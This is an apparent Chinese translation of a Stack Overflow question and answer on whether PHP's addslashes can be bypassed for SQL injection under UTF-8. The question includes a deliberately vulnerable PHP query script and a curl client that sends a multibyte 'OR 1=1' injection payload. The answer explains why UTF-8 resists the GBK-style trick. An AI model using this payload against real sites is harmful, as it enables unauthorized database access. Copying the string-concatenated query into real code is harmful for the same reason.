使用utf和单引号时可以绕过addslashes吗?

时间:2013-05-15 12:37:29

标签: php security addslashes

我正在尝试验证在脚本上使用addslashes是否可利用,众所周知,不应该使用addslashes,但问题是,它是否总是可以利用?

我发现有很多关于在两种情况下滥用addlashes的信息当字符集不是utf8 (使用双字节转换)时,当变量被“”包围时

那么,当上述情况都没有发生时,可以绕过addslashes吗?这是我一直在测试的代码:

带有db dump的

data.sql文件:

CREATE TABLE IF NOT EXISTS `test` (
  `user` varchar(25) NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

INSERT INTO `test` (`user`) VALUES
('admin'),
('user');

mysql -u test -ptestpw test < data.sql

index.php放在服务器中

<?php
  //Server script the receives content via post
  mysql_connect("localhost","test","testpw");
  mysql_select_db("test");
  $user=addslashes($_POST['username']);
  $query="SELECT * FROM test WHERE user='".$user."'";
  $q=mysql_query($query) or die (mysql_error());
  $num_rows = mysql_num_rows($q);
  echo "Listed rows: $num_rows";
  if ($num_rows > 0) {
        $a=mysql_fetch_array($q);
        print_r($a);
  }
?>

query.php放在客户机上

<?php
//Client script crafting the special url
$url     = "http://example.com/index.php";
$ch      = curl_init();
curl_setopt( $ch, CURLOPT_URL,            $url     );
curl_setopt( $ch, CURLOPT_POST,           TRUE     );
curl_setopt( $ch, CURLOPT_POSTFIELDS,     "username=" .
                                          chr(0xbf) . chr(0x27) .
                                          "OR 1=1/*&submit=1" );
$data = curl_exec( $ch );
print( $data );
curl_close( $ch );
?>

一些参考文献:

  • here(绕过使用多字符串,非utf db)
  • here(使用多字节字符串绕过,非utf db)
  • here(绕过使用var括在“”)

1 个答案:

答案 0 :(得分:4)

addslashes转义字节 0x00(NUL字节),0x22("),0x27(')和0x5c(\ )通过预先加\。有记录的案例addslashes fails with the character encoding GBK on MySQL

  

这种类型的攻击可以通过任何字符编码实现,其中有一个以0x5c结尾的有效多字节字符,因为addslashes()可以被欺骗以创建有效的多字节字符而不是转义单引号接下来。 UTF-8不符合此描述。

你已经有了答案:由于UTF-8没有以0x5c结尾的有效编码,因此它不容易受到这种攻击。

但是,由于您的脚本似乎依赖于magic_quotes_gpc已启用(从PHP 5.3.0开始已弃用并从PHP 5.4.0开始删除),因此您的脚本在 magic_quotes_gpc的环境中容易受到攻击已停用或无法使用。